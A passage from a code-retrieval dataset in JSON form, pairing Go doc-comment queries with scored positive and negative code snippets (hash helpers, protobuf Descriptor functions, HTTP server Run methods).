}, { "docid": "d6d1f5614a0c966ecd06d4557408834d", "score": "0.574589", "text": "func md5sum(filePath string) (string, error) {\n\tfile, err := os.Open(filePath)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer file.Close()\n\n\thash := md5.New()\n\tif _, err := io.Copy(hash, file); err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn hex.EncodeToString(hash.Sum(nil)), nil\n}", "title": "" }, { "docid": "4922867a31030614073fcaa3dc28d7f5", "score": "0.57384056", "text": "func Hash(s string) string {\n\th := fnv.New32a()\n\th.Write([]byte(s))\n\treturn strconv.FormatUint(uint64(h.Sum32()), 16)\n}", "title": "" }, { "docid": "f5cac64b60339b94e641a45690c8b785", "score": "0.57130957", "text": "func ComputeMD5(filePath string) (string, error) {\n\tvar result string\n\tfile, err := os.Open(filePath)\n\tif err != nil {\n\t\treturn result, err\n\t}\n\tdefer file.Close()\n\n\thash := md5.New()\n\tif _, err := io.Copy(hash, file); err != nil {\n\t\treturn result, err\n\t}\n\n\tresult = hex.EncodeToString(hash.Sum(nil)[:16])\n\treturn result, nil\n}", "title": "" }, { "docid": "dea3b867d4a73abae822b838c3fade13", "score": "0.5712404", "text": "func MD5File(path string) string {\n\treturn hashFile(path, sha1.New())\n}", "title": "" }, { "docid": "f894869f0550f3161b8fb5bebdb3b490", "score": "0.5697646", "text": "func (m *MongoHandler) Hash(p []byte) string {\n\thasher := md5.New()\n\thasher.Write(p)\n\treturn hex.EncodeToString(hasher.Sum(nil))\n}", "title": "" }, { "docid": "e109bdbea201a9f75a1772b1196da849", "score": "0.5690497", "text": "func hashToString(h []byte) string {\n\treturn base64.RawURLEncoding.EncodeToString(h[:buildIDComponentLength])\n}", "title": "" } ]
cc1b01b42d7efe60a42bc649b310f964
Deprecated: Use CodeDayStatsDetailWhere.ProtoReflect.Descriptor instead.
[ { "docid": "aebd6714ab783495f60198c39445102a", "score": "0.76383173", "text": "func (*CodeDayStatsDetailWhere) Descriptor() ([]byte, []int) {\n\treturn file_codeDayStatsDetailService_proto_rawDescGZIP(), []int{0}\n}", "title": "" } ]
[ { "docid": "5218590194b668625decbf2a1ba9e41e", "score": "0.6884289", "text": "func (*CodeDayStatsDetail) Descriptor() ([]byte, []int) {\n\treturn file_codeDayStatsDetailService_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "6dfcd13fd2d1a21392110c3dd90adac2", "score": "0.6478009", "text": "func (*LimitDiscountCustomerStatsWhere) Descriptor() ([]byte, []int) {\n\treturn file_limitDiscountCustomerStatsService_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "d2d057e98e152b70e972390624892f25", "score": "0.6393908", "text": "func (*StoredInfoTypeStats) Descriptor() ([]byte, []int) {\n\treturn file_google_privacy_dlp_v2_dlp_proto_rawDescGZIP(), []int{125}\n}", "title": "" }, { "docid": "61adf9a12c21f78c231ddba7f0f24556", "score": "0.6333195", "text": "func (*CodeDayStatsDetailResponse) Descriptor() ([]byte, []int) {\n\treturn file_codeDayStatsDetailService_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "f8c86348dba2045cd185f3999c29235a", "score": "0.6324917", "text": "func (*InfoTypeStats) Descriptor() ([]byte, []int) {\n\treturn file_google_privacy_dlp_v2_dlp_proto_rawDescGZIP(), []int{32}\n}", "title": "" }, { "docid": "cccb487dabcd02b6b62da19882e15fd5", "score": "0.6305349", "text": "func (*InspectDataSourceDetails) Descriptor() ([]byte, []int) {\n\treturn file_google_privacy_dlp_v2_dlp_proto_rawDescGZIP(), []int{33}\n}", "title": "" }, { "docid": "ccc6b2c2945991938730493aaf024802", "score": "0.61895", "text": "func (*StatementWhere) Descriptor() ([]byte, []int) {\n\treturn file_statementService_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "b6cec83835df51ac10e8d9b5fe9c1845", "score": "0.6179495", "text": "func (Debuginfo_Source) EnumDescriptor() ([]byte, []int) {\n\treturn file_parca_debuginfo_v1alpha1_debuginfo_proto_rawDescGZIP(), []int{10, 0}\n}", "title": "" }, { "docid": "c6e98e9b6e04917f5224b50858c8c036", "score": "0.6174136", "text": "func (*Finding) Descriptor() ([]byte, []int) {\n\treturn file_google_privacy_dlp_v2_dlp_proto_rawDescGZIP(), []int{10}\n}", "title": "" }, { "docid": "dfa51decb93f1448fb440350c1b28c26", "score": "0.6163359", "text": "func (DataPointFlags) EnumDescriptor() ([]byte, []int) {\n\treturn file_opentelemetry_proto_metrics_v1_metrics_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "c46a5e154828eba1b971e7b3761dec43", "score": "0.6159071", "text": "func (*FirewallInfo) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_networkmanagement_v1_trace_proto_rawDescGZIP(), []int{4}\n}", "title": "" }, { "docid": "1a33f00971f391dfe571bf4990556153", "score": "0.61568916", "text": "func (SdkTimeWeekday) EnumDescriptor() ([]byte, []int) {\n\treturn file_api_api_proto_rawDescGZIP(), []int{23}\n}", "title": "" }, { "docid": "fef6b5c334201bb5a97f941ff25ef27e", "score": "0.6151204", "text": "func (*Telemetry) Descriptor() ([]byte, []int) {\n\treturn file_pkg_monitor_protobuf_monitor_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "33d7fe24ba3aa14100832cb7d1443307", "score": "0.6138021", "text": "func (*OtherInfoTypeSummary) Descriptor() ([]byte, []int) {\n\treturn file_google_privacy_dlp_v2_dlp_proto_rawDescGZIP(), []int{144}\n}", "title": "" }, { "docid": "302853962147115dee8892392c185c17", "score": "0.6111883", "text": "func (*TableWhere) Descriptor() ([]byte, []int) {\n\treturn file_tableService_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "f9f9877b91a1eb7c1940fa5cf551abf2", "score": "0.61006844", "text": "func (*StatisticalTable) Descriptor() ([]byte, []int) {\n\treturn file_google_privacy_dlp_v2_dlp_proto_rawDescGZIP(), []int{42}\n}", "title": "" }, { "docid": "d37cc1d88b2079afd4aebebf2eee7512", "score": "0.60954684", "text": "func (*InspectResult) Descriptor() ([]byte, []int) {\n\treturn file_google_privacy_dlp_v2_dlp_proto_rawDescGZIP(), []int{9}\n}", "title": "" }, { "docid": "6ac65172431771f50ee1d8d982f546bb", "score": "0.60882396", "text": "func (*QueryWarning) Descriptor() ([]byte, []int) {\n\treturn file_query_proto_rawDescGZIP(), []int{10}\n}", "title": "" }, { "docid": "6536a0c58c117da8bf0a147a6e6c008b", "score": "0.6087381", "text": "func (*DayofWeek) Descriptor() ([]byte, []int) {\n\treturn file_analytics_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "2c0aa3845534748a97b95e21afde3c3f", "score": "0.60747635", "text": "func (*InspectionRule) Descriptor() ([]byte, []int) {\n\treturn file_google_privacy_dlp_v2_dlp_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "f80af509f8f1f8752d8e7e470eb0b99b", "score": "0.60501736", "text": "func (*HybridFindingDetails) Descriptor() ([]byte, []int) {\n\treturn file_google_privacy_dlp_v2_dlp_proto_rawDescGZIP(), []int{137}\n}", "title": "" }, { "docid": "568c83b781e8a5fbe7324ba64204f7c6", "score": "0.6035461", "text": "func (*LldpNeighborDetail) Descriptor() ([]byte, []int) {\n\treturn file_proto_telemetry_lldp_lldp_neighbor_proto_rawDescGZIP(), []int{4}\n}", "title": "" }, { "docid": "e4eec02e5b26398e41cbd16f85004902", "score": "0.6035426", "text": "func (*MetricDetails) Descriptor() ([]byte, []int) {\n\treturn file_carbonapi_v3_pb_carbonapi_v3_pb_proto_rawDescGZIP(), []int{18}\n}", "title": "" }, { "docid": "86d5353e4bab87951163a84d9e3a37b6", "score": "0.60316443", "text": "func (*HybridInspectStatistics) Descriptor() ([]byte, []int) {\n\treturn file_google_privacy_dlp_v2_dlp_proto_rawDescGZIP(), []int{34}\n}", "title": "" }, { "docid": "874624b32c6ec907f864ae96f6461ac1", "score": "0.60174334", "text": "func (DataProfileAction_PubSubNotification_DetailLevel) EnumDescriptor() ([]byte, []int) {\n\treturn file_google_privacy_dlp_v2_dlp_proto_rawDescGZIP(), []int{106, 1, 0}\n}", "title": "" }, { "docid": "306ff5a012c3b2e92c13c2cf468cee8c", "score": "0.5993036", "text": "func (Compatibility) EnumDescriptor() ([]byte, []int) {\n\treturn file_google_analytics_data_v1beta_data_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "656dca41868c6fc8aa779c9529fab212", "score": "0.59901476", "text": "func (*InfoTypeSummary) Descriptor() ([]byte, []int) {\n\treturn file_google_privacy_dlp_v2_dlp_proto_rawDescGZIP(), []int{143}\n}", "title": "" }, { "docid": "e957c80c2bbbe896b2e953acce5cc342", "score": "0.5988329", "text": "func (x *fastReflection_QueryHistoricalInfoRequest) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_QueryHistoricalInfoRequest\n}", "title": "" }, { "docid": "936075eb4fd609375ecf64804d036670", "score": "0.5985908", "text": "func (*TeamStats) Descriptor() ([]byte, []int) {\n\treturn file_live_proto_rawDescGZIP(), []int{20}\n}", "title": "" }, { "docid": "fa2d15f13630deadad8a8c2741f782ac", "score": "0.5966908", "text": "func (*DaysOfWeekCode) Descriptor() ([]byte, []int) {\n\treturn file_proto_google_fhir_proto_r5_core_codes_proto_rawDescGZIP(), []int{71}\n}", "title": "" }, { "docid": "9215d221c4dc9c3a10e46ceee986a323", "score": "0.5963727", "text": "func (*CheckWhere) Descriptor() ([]byte, []int) {\n\treturn file_checkService_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "2f94f88a22e64d7197efa6fb0aede5e0", "score": "0.59419394", "text": "func (*InfoTypeDescription) Descriptor() ([]byte, []int) {\n\treturn file_google_privacy_dlp_v2_dlp_proto_rawDescGZIP(), []int{35}\n}", "title": "" }, { "docid": "8e320243ff07990baed866b8dca271d3", "score": "0.59382635", "text": "func (DebuginfoType) EnumDescriptor() ([]byte, []int) {\n\treturn file_parca_debuginfo_v1alpha1_debuginfo_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "7afd2acc22f27332d9de5fe8932878dd", "score": "0.59300715", "text": "func (Day) EnumDescriptor() ([]byte, []int) {\n\treturn file_enum_example_enum_message_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "3787c3bca0408cacd9db27cc277f0ff2", "score": "0.5929146", "text": "func (*UpdateDashboardMetadata) Descriptor() ([]byte, []int) {\n\treturn file_yandex_cloud_monitoring_v3_dashboard_service_proto_rawDescGZIP(), []int{6}\n}", "title": "" }, { "docid": "a17b1a482fff0c9ef77995f676214868", "score": "0.5927438", "text": "func (*StoredInfoTypeVersion) Descriptor() ([]byte, []int) {\n\treturn file_google_privacy_dlp_v2_dlp_proto_rawDescGZIP(), []int{126}\n}", "title": "" }, { "docid": "1923b0c0c7eac89b3c25a6930319b724", "score": "0.5923742", "text": "func (*RoomStatusMaintainCalendarWhere) Descriptor() ([]byte, []int) {\n\treturn file_roomStatusMaintainCalendarService_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "b1e8d4a7cd2f26b4cd0e6530b54287a4", "score": "0.5920885", "text": "func (*InspectDataSourceDetails_Result) Descriptor() ([]byte, []int) {\n\treturn file_google_privacy_dlp_v2_dlp_proto_rawDescGZIP(), []int{33, 1}\n}", "title": "" }, { "docid": "ebc82561acfd51a886efa421e727ed71", "score": "0.5919756", "text": "func (*PerformanceIndicators) Descriptor() ([]byte, []int) {\n\treturn file_bol_api_proto_go_bol_api_proto_rawDescGZIP(), []int{67}\n}", "title": "" }, { "docid": "87e4204b30cbb4256e53cfc0d04b85c9", "score": "0.591363", "text": "func (Query_Hint) EnumDescriptor() ([]byte, []int) {\n\treturn file_datastore_v3_proto_rawDescGZIP(), []int{15, 0}\n}", "title": "" }, { "docid": "e5824d327f0f087a74ad8f197f941fdf", "score": "0.5908925", "text": "func (*LargeCustomDictionaryStats) Descriptor() ([]byte, []int) {\n\treturn file_google_privacy_dlp_v2_dlp_proto_rawDescGZIP(), []int{123}\n}", "title": "" }, { "docid": "59fee625626492d015c20c448c5d25b5", "score": "0.59078574", "text": "func (ResourceVisibility) EnumDescriptor() ([]byte, []int) {\n\treturn file_google_privacy_dlp_v2_dlp_proto_rawDescGZIP(), []int{10}\n}", "title": "" }, { "docid": "a0f0cc7a29e91dd2e823b67521bab99f", "score": "0.59010327", "text": "func (*RoomTypeWhere) Descriptor() ([]byte, []int) {\n\treturn file_roomTypeService_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "3bf7501a8145fb51c1427f5e368140b5", "score": "0.58955795", "text": "func (*ServiceInsight_Service_DataplaneStat) Descriptor() ([]byte, []int) {\n\treturn file_mesh_v1alpha1_service_insight_proto_rawDescGZIP(), []int{0, 0, 0}\n}", "title": "" }, { "docid": "f34dd2c0251a4a16e7ba020bd7233e6f", "score": "0.58847404", "text": "func (*ExcludeInfoTypes) Descriptor() ([]byte, []int) {\n\treturn file_google_privacy_dlp_v2_dlp_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "4b241cc985eb0521b22d066af5ba8ee0", "score": "0.58821356", "text": "func (*StoredInfoType) Descriptor() ([]byte, []int) {\n\treturn file_google_privacy_dlp_v2_dlp_proto_rawDescGZIP(), []int{127}\n}", "title": "" }, { "docid": "97e6a7474325d5184d55bd9a6ad65098", "score": "0.5873659", "text": "func (*Summary) Descriptor() ([]byte, []int) {\n\treturn file_opentelemetry_proto_metrics_v1_metrics_proto_rawDescGZIP(), []int{8}\n}", "title": "" }, { "docid": "6aae1439647ee93becff13d3ef756df2", "score": "0.5869159", "text": "func (*Trace) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_networkmanagement_v1_trace_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "e1da595136301e82f3105a7c4a3cde87", "score": "0.5866797", "text": "func (*Trace) Descriptor() ([]byte, []int) {\n\treturn file_rpc_common_tracing_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "2673fcdbe8f3ff17dd97a792e2ae503f", "score": "0.58585954", "text": "func (*CMsgSignOutCommunicationSummary_PlayerCommunication_PingDetail) Descriptor() ([]byte, []int) {\n\treturn file_dota_gcmessages_server_proto_rawDescGZIP(), []int{19, 0, 0}\n}", "title": "" }, { "docid": "52fb7a5bc7cd09f71dbbcb036f81486f", "score": "0.5856934", "text": "func (*InspectConfig_FindingLimits) Descriptor() ([]byte, []int) {\n\treturn file_google_privacy_dlp_v2_dlp_proto_rawDescGZIP(), []int{5, 0}\n}", "title": "" }, { "docid": "aa3e6dbed855bd1cbd6be7159b694b3c", "score": "0.5853612", "text": "func (VisibilityRuleEnumInPreviewMethod) EnumDescriptor() ([]byte, []int) {\n\treturn file_examples_internal_proto_examplepb_visibility_rule_echo_service_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "20af60802e9b7f61c4445cbcdd0641dc", "score": "0.58450305", "text": "func (*PhantomTimeSerieChange_Removed) Descriptor() ([]byte, []int) {\n\treturn edgelq_monitoring_proto_v3_phantom_time_serie_change_proto_rawDescGZIP(), []int{0, 3}\n}", "title": "" }, { "docid": "6cc64cc7e3ff67cca8672f5eba8b83ef", "score": "0.58437634", "text": "func (*StatisticInfo) Descriptor() ([]byte, []int) {\n\treturn file_idl_pbstatistic_statistic_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "426a559f3a8ef18d4b981d9f0c18d9d2", "score": "0.58436316", "text": "func (Minor) EnumDescriptor() ([]byte, []int) {\n\treturn file_ttn_lorawan_v3_lorawan_proto_rawDescGZIP(), []int{21}\n}", "title": "" }, { "docid": "3665337eb86b157cf7cdf483d417f7e9", "score": "0.58367014", "text": "func (DaysOfWeekCode_Value) EnumDescriptor() ([]byte, []int) {\n\treturn file_proto_google_fhir_proto_r5_core_codes_proto_rawDescGZIP(), []int{71, 0}\n}", "title": "" }, { "docid": "e547929a6f1221be7f9c1c31a605c526", "score": "0.5834666", "text": "func (*Detail) Descriptor() ([]byte, []int) {\n\treturn file_dispute_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "aeb890e74ea148b45001ae4f69c2fdec", "score": "0.5832912", "text": "func (*CbsdDetails) Descriptor() ([]byte, []int) {\n\treturn file_dp_protos_cbsd_proto_rawDescGZIP(), []int{15}\n}", "title": "" }, { "docid": "5a0c3f186c182984c2d49f93b58abe2e", "score": "0.5831613", "text": "func (*Schedule) Descriptor() ([]byte, []int) {\n\treturn file_google_privacy_dlp_v2_dlp_proto_rawDescGZIP(), []int{83}\n}", "title": "" }, { "docid": "ff328daf2a0414fe52630c236f8b0259", "score": "0.5829767", "text": "func (DeliverInfo_Target) EnumDescriptor() ([]byte, []int) {\n\treturn file_google_cloud_networkmanagement_v1_trace_proto_rawDescGZIP(), []int{13, 0}\n}", "title": "" }, { "docid": "cc4f2664fcbafda682e10fb9f302373f", "score": "0.58296895", "text": "func (RestrictedMetricType) EnumDescriptor() ([]byte, []int) {\n\treturn file_google_analytics_data_v1beta_data_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "d06e3059b2365b6813d1dfb814eb12c2", "score": "0.5828238", "text": "func (*CMsgDOTALiveScoreboardUpdate_Team) Descriptor() ([]byte, []int) {\n\treturn file_dota_gcmessages_server_proto_rawDescGZIP(), []int{25, 0}\n}", "title": "" }, { "docid": "a66efbd4011c996a87dc8100ae93f39b", "score": "0.5825163", "text": "func (VisibilityRuleSimpleMessage_VisibilityEnum) EnumDescriptor() ([]byte, []int) {\n\treturn file_examples_internal_proto_examplepb_visibility_rule_echo_service_proto_rawDescGZIP(), []int{1, 0}\n}", "title": "" }, { "docid": "96c03cb204c79c7d0ef9200bcb65581e", "score": "0.5823953", "text": "func (*TableLocation) Descriptor() ([]byte, []int) {\n\treturn file_google_privacy_dlp_v2_dlp_proto_rawDescGZIP(), []int{17}\n}", "title": "" }, { "docid": "605336fcc8c77d25dc14c91efbfbdd73", "score": "0.5823902", "text": "func (*QueryHistoricalInfoRequest) Descriptor() ([]byte, []int) {\n\treturn file_cosmos_staking_v1beta1_query_proto_rawDescGZIP(), []int{22}\n}", "title": "" }, { "docid": "ab418483b166281319bb7de8da865f52", "score": "0.5821882", "text": "func (MetadataType) EnumDescriptor() ([]byte, []int) {\n\treturn file_google_privacy_dlp_v2_dlp_proto_rawDescGZIP(), []int{6}\n}", "title": "" }, { "docid": "ab68d5abef9664a8cc72851b26a280d1", "score": "0.5819883", "text": "func (*Table) Descriptor() ([]byte, []int) {\n\treturn file_google_privacy_dlp_v2_dlp_proto_rawDescGZIP(), []int{8}\n}", "title": "" }, { "docid": "746642bc0a501a09ebc464393121c2e7", "score": "0.58165467", "text": "func (*PrivacyMetric) Descriptor() ([]byte, []int) {\n\treturn file_google_privacy_dlp_v2_dlp_proto_rawDescGZIP(), []int{43}\n}", "title": "" }, { "docid": "f68975168cabaa0c9d462b6260f9c374", "score": "0.5813142", "text": "func (*Value) Descriptor() ([]byte, []int) {\n\treturn file_google_privacy_dlp_v2_dlp_proto_rawDescGZIP(), []int{46}\n}", "title": "" }, { "docid": "7975986d57d45aa8809d3e43ba4012f3", "score": "0.5811697", "text": "func (Severity) EnumDescriptor() ([]byte, []int) {\n\treturn file_mitre_cvss_v2_cvss_proto_rawDescGZIP(), []int{12}\n}", "title": "" }, { "docid": "f77d627a815ff5f9b8021a0e2aa8f692", "score": "0.58089626", "text": "func (*DateTime) Descriptor() ([]byte, []int) {\n\treturn file_google_privacy_dlp_v2_dlp_proto_rawDescGZIP(), []int{48}\n}", "title": "" }, { "docid": "36041119e939041ef4269311f7f1e7c7", "score": "0.58089125", "text": "func (*CMsgDOTATeamInfo_TeamStats) Descriptor() ([]byte, []int) {\n\treturn file_dota_gcmessages_client_team_proto_rawDescGZIP(), []int{0, 2}\n}", "title": "" }, { "docid": "0499c0a935d794b91c9683f538365468", "score": "0.580868", "text": "func (x *fastReflection_QueryHistoricalInfoResponse) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_QueryHistoricalInfoResponse\n}", "title": "" }, { "docid": "6b36e040b6f572c1e21676b43a7dbcc2", "score": "0.5804809", "text": "func (MessageSource) EnumDescriptor() ([]byte, []int) {\n\treturn file_private_log_debug_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "c5ba94be57b33a286bd131135e874316", "score": "0.5804469", "text": "func (*AnalyzeDataSourceRiskDetails) Descriptor() ([]byte, []int) {\n\treturn file_google_privacy_dlp_v2_dlp_proto_rawDescGZIP(), []int{44}\n}", "title": "" }, { "docid": "90ed39802466bd1d905648888d279b72", "score": "0.5803596", "text": "func (*SummaryDataPoint) Descriptor() ([]byte, []int) {\n\treturn file_opentelemetry_proto_metrics_v1_metrics_proto_rawDescGZIP(), []int{12}\n}", "title": "" }, { "docid": "5a7aaee15cc960ce691ade088e0dd600", "score": "0.5801374", "text": "func (*DeliverInfo) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_networkmanagement_v1_trace_proto_rawDescGZIP(), []int{13}\n}", "title": "" }, { "docid": "3945be5951d69957fd70f35c47266c30", "score": "0.57973737", "text": "func (*SdkAlertsTimeSpan) Descriptor() ([]byte, []int) {\n\treturn file_api_api_proto_rawDescGZIP(), []int{43}\n}", "title": "" }, { "docid": "981f309c1eb57eefba9dc37e63788b26", "score": "0.57969373", "text": "func (ServiceHealthReport_Kind) EnumDescriptor() ([]byte, []int) {\n\treturn file_monitor_proto_rawDescGZIP(), []int{4, 0}\n}", "title": "" }, { "docid": "613840c1f32a22ad8942fcccf37f3b8c", "score": "0.5787067", "text": "func (DropInfo_Cause) EnumDescriptor() ([]byte, []int) {\n\treturn file_google_cloud_networkmanagement_v1_trace_proto_rawDescGZIP(), []int{16, 0}\n}", "title": "" }, { "docid": "8e9c7490fe7f370a5829128c68f91e54", "score": "0.57865345", "text": "func (*InfoTypeCategory) Descriptor() ([]byte, []int) {\n\treturn file_google_privacy_dlp_v2_dlp_proto_rawDescGZIP(), []int{36}\n}", "title": "" }, { "docid": "28073d8318b41bc9bd530b07512515c3", "score": "0.5786029", "text": "func (*InfoStats) Descriptor() ([]byte, []int) {\n\treturn file_metrics_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "9f392ba7a59a9204194a5d75b80e55ae", "score": "0.5783999", "text": "func (*DebugInfo_Timing) Descriptor() ([]byte, []int) {\n\treturn file_pkg_playstore_playstore_proto_rawDescGZIP(), []int{21, 0}\n}", "title": "" }, { "docid": "6e9c3e6fc4a51a6ca4b38bf3286cc0ad", "score": "0.5783337", "text": "func (StoredInfoTypeState) EnumDescriptor() ([]byte, []int) {\n\treturn file_google_privacy_dlp_v2_dlp_proto_rawDescGZIP(), []int{9}\n}", "title": "" }, { "docid": "40b3b2615ceb9a33a53c2b84f0506c6f", "score": "0.57824594", "text": "func (*AnalyzeDataSourceRiskDetails_DeltaPresenceEstimationResult) Descriptor() ([]byte, []int) {\n\treturn file_google_privacy_dlp_v2_dlp_proto_rawDescGZIP(), []int{44, 5}\n}", "title": "" }, { "docid": "e6889491031e131fe06f0465bfd5f367", "score": "0.5781481", "text": "func (*PerformanceIndicator) Descriptor() ([]byte, []int) {\n\treturn file_bol_api_proto_go_bol_api_proto_rawDescGZIP(), []int{66}\n}", "title": "" }, { "docid": "4b9944cc479dfc583aa2aafc835c23a4", "score": "0.5768022", "text": "func (*DatasetInfo) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_bigquery_logging_v1_audit_data_proto_rawDescGZIP(), []int{24}\n}", "title": "" }, { "docid": "1e7d2fb94608ceaef6d4a4a3861f0c84", "score": "0.57670236", "text": "func (Telemetry_Message) EnumDescriptor() ([]byte, []int) {\n\treturn file_telemetry_proto_rawDescGZIP(), []int{0, 0}\n}", "title": "" }, { "docid": "ba421545597caee42dbde92637f681d3", "score": "0.5763573", "text": "func (*Span) Descriptor() ([]byte, []int) {\n\treturn file_tracing_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "f161dfc749871483035430e1645a6196", "score": "0.57635415", "text": "func (*VisibilityRuleSimpleMessage) Descriptor() ([]byte, []int) {\n\treturn file_examples_internal_proto_examplepb_visibility_rule_echo_service_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "7da70493967291d411fdd306a10c96da", "score": "0.57622033", "text": "func (*Measurement) Descriptor() ([]byte, []int) {\n\treturn file_alameda_api_v1alpha1_datahub_schemas_types_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "7d497e768a55988e8856588c4f739377", "score": "0.5761435", "text": "func (*FirstContact_Payload_Stats) Descriptor() ([]byte, []int) {\n\treturn file_api_egginc_proto_rawDescGZIP(), []int{3, 0, 1}\n}", "title": "" }, { "docid": "651eab50904d0493bf940796be081c56", "score": "0.57572854", "text": "func (*GetTeamMemberByIdRequest) Descriptor() ([]byte, []int) {\n\treturn file_MServiceProject_proto_rawDescGZIP(), []int{54}\n}", "title": "" }, { "docid": "5f47aefef57c4471dbf7111c9304d018", "score": "0.57569414", "text": "func (*TemporalMetrics) Descriptor() ([]byte, []int) {\n\treturn file_mitre_cvss_v2_cvss_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "673abf9af55fcce1dd079dd6bc0f5f03", "score": "0.57564545", "text": "func (*TimesStats) Descriptor() ([]byte, []int) {\n\treturn file_metrics_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "5eca8b7e89816f777fc548b7ac10aa14", "score": "0.57558465", "text": "func (LogEntry_Severity_Enum) EnumDescriptor() ([]byte, []int) {\n\treturn file_org_apache_beam_model_fn_execution_v1_beam_fn_api_proto_rawDescGZIP(), []int{35, 1, 0}\n}", "title": "" }, { "docid": "4926c973a5c17c51a286210bc5639652", "score": "0.57506067", "text": "func (*UpdateStoredInfoTypeRequest) Descriptor() ([]byte, []int) {\n\treturn file_google_privacy_dlp_v2_dlp_proto_rawDescGZIP(), []int{129}\n}", "title": "" }, { "docid": "a048b96dd7aa4f1592decced4945ef4c", "score": "0.574856", "text": "func (*IntegralRuleWhere) Descriptor() ([]byte, []int) {\n\treturn file_integralRuleService_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "6e037cebae755d246f90c95dedcec934", "score": "0.57480204", "text": "func (*StatusFilter) Descriptor() ([]byte, []int) {\n\treturn file_uber_cadence_api_v1_visibility_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "c75ffc003f494db195078fcfc511f30a", "score": "0.5747205", "text": "func (*TimeFilter) Descriptor() ([]byte, []int) {\n\treturn file_Qot_GetCodeChange_proto_rawDescGZIP(), []int{1}\n}", "title": "" } ]
bc5cfa271a9e8320e95779782c3422d0
Run starts the web server and blocks.
[ { "docid": "043e98754920ca848ba26ade04fa39fa", "score": "0.743921", "text": "func (srv *Server) Run() {\n\tif err := srv.http.ListenAndServe(); err != nil {\n\t\tpanic(err)\n\t}\n}", "title": "" } ]
[ { "docid": "a4b93656248622cbe1630027b431e064", "score": "0.7914773", "text": "func (w *Web) Run() error {\n\tlog.Infof(\"Running web server on %s\", w.server.Addr)\n\n\tif err := w.server.ListenAndServe(); err != nil && err != http.ErrServerClosed {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "822a9d69c2544d7a1a2be54c142f1faa", "score": "0.7894133", "text": "func (s *RLBServer) Run() {\n\tlog.Printf(\"[INFO] activate web server on port %d\", s.port)\n\trouter := s.routes()\n\n\ts.lock.Lock()\n\ts.httpServer = &http.Server{\n\t\tAddr: fmt.Sprintf(\":%d\", s.port),\n\t\tHandler: router,\n\t\tReadHeaderTimeout: 5 * time.Second,\n\t\tWriteTimeout: 5 * time.Second,\n\t\tIdleTimeout: 30 * time.Second,\n\t}\n\ts.lock.Unlock()\n\n\terr := s.httpServer.ListenAndServe()\n\tlog.Printf(\"[WARN] http server terminated, %s\", err)\n}", "title": "" }, { "docid": "dd93781117f944656e1e107c1d993965", "score": "0.78577113", "text": "func (a *Application) Run() {\n\n\n\ta.httpServer.Start()\n}", "title": "" }, { "docid": "6ac7c817ceb8aa8b6a623ca24b10aed2", "score": "0.781266", "text": "func (c *Cocktail) Run() {\n\tserver := &http.Server{\n\t\tAddr: fmt.Sprintf(\"%s:%s\", c.Host, c.Port),\n\t\tReadTimeout: 10 * time.Second,\n\t\tWriteTimeout: 10 * time.Second,\n\t\tMaxHeaderBytes: 5 << 10, // 512kb\n\t\tHandler: c,\n\t}\n\n\tc.Logger.Printf(\"listening on %s:%s\\n\", c.Host, c.Port)\n\tc.Logger.Fatalln(server.ListenAndServe())\n}", "title": "" }, { "docid": "2e276fcb657048cbb71c6da52b6f358e", "score": "0.78059393", "text": "func (e *Application) Run() {\n\tlog.Println(\"Running\")\n\te.HTTPServer.Start()\n}", "title": "" }, { "docid": "21c4d9dc70a4fe830b22b436f623be37", "score": "0.7548079", "text": "func (w *WebServer) Run() {\n\tw.Router().Run()\n}", "title": "" }, { "docid": "21dfe4c3430004d32d46d60bd39c215b", "score": "0.7539816", "text": "func (s *Server) Run() {\n\tfs := http.FileServer(http.Dir(s.Directory))\n\thttp.Handle(\"/\", fs)\n\n\tlog.Infof(\"Starting static webserver with directory %s on interface %s\", s.Directory, s.Interface)\n\tlog.Fatal(http.ListenAndServeTLS(s.Interface, s.certfile, s.keyfile, nil))\n}", "title": "" }, { "docid": "03a73949d2cf804221b7f5a4fd95f017", "score": "0.7519624", "text": "func (srv *Server) Run() error {\n\terrs := make(chan error, 1)\n\n\tgo srv.newHTTPServer(errs)\n\tgo srv.newHTTPSServer(\"localhost.pem\", \"localhost-key.pem\", 